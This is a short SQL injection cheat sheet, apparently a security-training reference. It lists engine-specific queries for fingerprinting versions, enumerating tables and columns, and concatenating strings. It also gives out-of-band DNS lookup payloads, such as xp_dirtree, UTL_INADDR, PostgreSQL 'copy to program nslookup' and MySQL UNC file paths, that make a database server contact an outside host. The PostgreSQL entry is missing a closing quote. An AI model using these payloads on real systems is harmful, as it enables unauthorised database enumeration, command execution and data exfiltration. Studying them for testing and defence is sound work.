Introduction

Once SQL injection has been identified, the next step is to enumerate the underlying database engine. Unfortunately, each database engine uses its own syntax for metadata, which makes this process highly engine-dependent.

Database Version

DatabaseVersion Info
OracleSELECT banner FROM v$version
SELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version

Database Contents

Listing tables and the columns they contain:

DatabaseContents Info
OracleSELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'Table Name'
MicrosoftSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'Table Name'
PostgreSQLSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'Table Name'
MySQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'Table Name'

String Concatenation

DatabaseConcatenation
Oracle'a'||'b'
Microsoft'a'+'b'
PostgreSQL'a'||'b'
MySQL'a' 'b' (space) or CONCAT('a','b')

DNS Lookups

DatabaseLookup Syntax
OracleSELECT UTL_INADDR.get_host_address('domain') - requires elevated privileges
Microsoftexec master..xp_dirtree '//domain/a'
PostgreSQLcopy (SELECT '') to program 'nslookup domain
MySQLThese work only on Windows
LOAD_FILE('\\\\domain\\a')
SELECT ... INTO OUTFILE '\\\\domain\a'